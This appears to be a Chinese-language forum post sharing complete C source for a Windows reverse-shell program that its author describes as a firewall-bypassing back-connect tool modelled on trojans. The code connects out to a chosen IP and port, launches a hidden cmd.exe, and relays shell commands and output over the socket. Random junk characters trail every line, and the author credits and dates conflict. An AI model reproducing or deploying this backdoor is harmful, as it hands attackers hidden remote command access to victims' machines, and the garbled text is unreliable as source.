这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8n);NZ
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/* ============================== \gj@O5rG P
Rebound port in Windows NT }2V|B4
By wind,2006/7 3x'BMAA+
===============================*/ *Swb40L^
#include b/5;377_
#include rJ9a@n,
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#pragma comment(lib,"wsock32.lib") k gWF@"_
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void OutputShell(); Wx;9N
SOCKET sClient; 0gfa7+Y
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >9Ub=tZm
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void main(int argc,char **argv) NaB8cLURp
{ n1.]5c3p
WSADATA stWsaData; ;se-IDN
int nRet; N7}.9%EV
SOCKADDR_IN stSaiClient,stSaiServer; N<Ti[Q]G
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if(argc != 3) 3D;\V&([
{ ~A [ Ju%R
printf("Useage:\n\rRebound DestIP DestPort\n"); }UQBaqDH
return; [S-NGip
} m3P%E8<Q#
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WSAStartup(MAKEWORD(2,2),&stWsaData); T4o}5sq}S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rK}*Uwut
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stSaiClient.sin_family = AF_INET; H:y.7
stSaiClient.sin_port = htons(0); dl(cYP8L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O<."C=1~E
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZDcv-6C)B
{ (lS&P"Xi
printf("Bind Socket Failed!\n"); b\dBt#mB!
return; Qighvei
} jJ|u!a
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stSaiServer.sin_family = AF_INET; "%-HZw%X
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |giK]Z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); V:F)m!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) VU}UK$JN
{ Y
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printf("Connect Error!"); m:II<tv
return; "2N3L8?k
} VO#]IXaP
OutputShell(); H@,jNIh~h
} Gvl-q1PVC
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void OutputShell() /|`;|0/2
{ !|!:MYn
char szBuff[1024]; }oj$w?Ex
SECURITY_ATTRIBUTES stSecurityAttributes; Wi
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OSVERSIONINFO stOsversionInfo; qRTxg%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; s1:UCv-%
STARTUPINFO stStartupInfo; $zyY"yWRZ
char *szShell; a}0\kDe
PROCESS_INFORMATION stProcessInformation; u <D&RT
unsigned long lBytesRead; >umcpkp-h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y<8)mw
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IAhyGD{b
stSecurityAttributes.lpSecurityDescriptor = 0; YJ.'Yc
stSecurityAttributes.bInheritHandle = TRUE; I6{}S6
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =JX.*
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Euk#C;uBg
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fPZBm&`C
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dxUq5`#G,
stStartupInfo.wShowWindow = SW_HIDE; zp,f}
stStartupInfo.hStdInput = hReadPipe; cQ1oy-paD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DIkD6n?V
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GetVersionEx(&stOsversionInfo); ;BejFcb
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switch(stOsversionInfo.dwPlatformId) 3)EslBA7i
{ V.: a6>]
case 1: = 14'R4:
szShell = "command.com"; %n=!H
break; U$ _?T-x
default: {~[H"h537t
szShell = "cmd.exe"; s|"V$/X(W
break; "|.>pD#0&
} -r/# 20Y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [
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send(sClient,szMsg,77,0); eLL>ThMyW
while(1) 8 y/YX
{ {ZY^tTsY
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); l/DV
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if(lBytesRead) s7D_fv4e
{ rm1R^n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -Z4J?b
send(sClient,szBuff,lBytesRead,0); t A\N$
} k2j:s}RHY
else Gxy>aS3
{ t \Fc <
lBytesRead=recv(sClient,szBuff,1024,0); nxA]EFS
if(lBytesRead<=0) break; vXq=f:y4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PF1!aAvVb
} i ao/l
} aluXh?
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return; R^f~aLl
}